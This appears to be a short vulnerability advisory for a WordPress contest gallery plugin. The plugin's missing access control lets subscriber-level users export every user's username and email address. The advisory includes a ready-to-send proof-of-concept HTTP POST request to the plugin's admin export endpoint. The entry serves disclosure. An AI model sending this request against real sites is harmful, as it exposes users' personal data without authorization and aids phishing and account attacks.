The plugin does not have any proper access controls when exporting users from a gallery, which could allow any authenticated users (such as subscriber) to list all users from the blog, disclosing their username and email address
POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 65 Connection: close Cookies; [subscriber+] Upgrade-Insecure-Requests: 1 cg_create_user_data_csv_new_export=true&cg_create_user_data_csv=1
2021-11-01 (about 1 years ago)
2021-11-01 (about 1 years ago)
2021-11-01 (about 1 years ago)